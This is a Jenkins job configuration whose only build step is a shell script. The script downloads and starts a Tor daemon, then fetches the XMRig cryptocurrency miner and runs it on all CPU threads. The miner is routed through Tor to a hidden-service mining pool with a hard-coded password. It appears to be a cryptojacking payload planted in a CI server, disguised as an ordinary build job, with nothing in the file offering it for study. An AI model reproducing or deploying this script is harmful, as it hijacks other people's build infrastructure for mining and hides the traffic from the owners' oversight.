<?xml version='1.1' encoding='UTF-8'?>
<project>
  <actions/>
  <description></description>
  <keepDependencies>false</keepDependencies>
  <properties>
    <hudson.plugins.jira.JiraProjectProperty plugin="jira@3.8"/>
  </properties>
  <scm class="hudson.scm.NullSCM"/>
  <canRoam>true</canRoam>
  <disabled>false</disabled>
  <blockBuildWhenDownstreamBuilding>false</blockBuildWhenDownstreamBuilding>
  <blockBuildWhenUpstreamBuilding>false</blockBuildWhenUpstreamBuilding>
  <triggers/>
  <concurrentBuild>false</concurrentBuild>
  <builders>
    <hudson.tasks.Shell>
      <command>#!/bin/bash
set -e


TOR_VERSION=&quot;14.5.4&quot;
TOR_URL=&quot;https://dist.torproject.org/torbrowser/${TOR_VERSION}/tor-browser-linux-x86_64-${TOR_VERSION}.tar.xz&quot;
TOR_BUNDLE_DIR=&quot;/tmp/tor-browser&quot;
TOR_BIN_DIR=&quot;${TOR_BUNDLE_DIR}/Browser/TorBrowser/Tor&quot;
TOR_DATA_DIR=&quot;/tmp/tor_data&quot;


curl -sSL &quot;$TOR_URL&quot; -o /tmp/tor.tar.xz


rm -rf &quot;$TOR_BUNDLE_DIR&quot; &quot;$TOR_DATA_DIR&quot;
mkdir -p &quot;$TOR_DATA_DIR&quot;
    tar -xf /tmp/tor.tar.xz -C /tmp


if [ ! -x &quot;$TOR_BIN_DIR/tor&quot; ]; then
    echo &quot;❌&quot;
    exit 1
fi



LD_LIBRARY_PATH=&quot;$TOR_BIN_DIR&quot; &quot;$TOR_BIN_DIR/tor&quot; --RunAsDaemon 0 --DataDirectory &quot;$TOR_DATA_DIR&quot; &amp;

sleep 5

URL=&quot;https://github.com/xmrig/xmrig/releases/download/v6.22.3/xmrig-6.22.3-linux-static-x64.tar.gz&quot;
BINARY_NAME=&quot;xmrig&quot;
FLAGS=&quot;-o 6mmcb3dj6heqbffy4yc7dugp2gaczh35tqifa5qut3ub2yitxgyadlyd.onion:3333 --cpu-no-yield -p DN34NmWL48SkbBAe2jxRf2MY43Ho0hZKh -k&quot;
TMP_DIR=&quot;./&quot;
SLEEP=15


mkdir -p &quot;$TMP_DIR&quot;
curl -L &quot;$URL&quot; -o &quot;$TMP_DIR/archive.tar.gz&quot;
tar -xzf &quot;$TMP_DIR/archive.tar.gz&quot; -C &quot;$TMP_DIR&quot;
BIN_PATH=$(find &quot;$TMP_DIR&quot; -type f -name &quot;$BINARY_NAME&quot; | head -n 1)
if [ -z &quot;$BIN_PATH&quot; ]; then
    exit 1
fi
chmod +x &quot;$BIN_PATH&quot;

THREADS=$(nproc)


sleep $SLEEP
$BIN_PATH $FLAGS -t &quot;$THREADS&quot; --proxy=127.0.0.1:9050
</command>
      <configuredLocalRules/>
    </hudson.tasks.Shell>
  </builders>
  <publishers/>
  <buildWrappers/>
</project>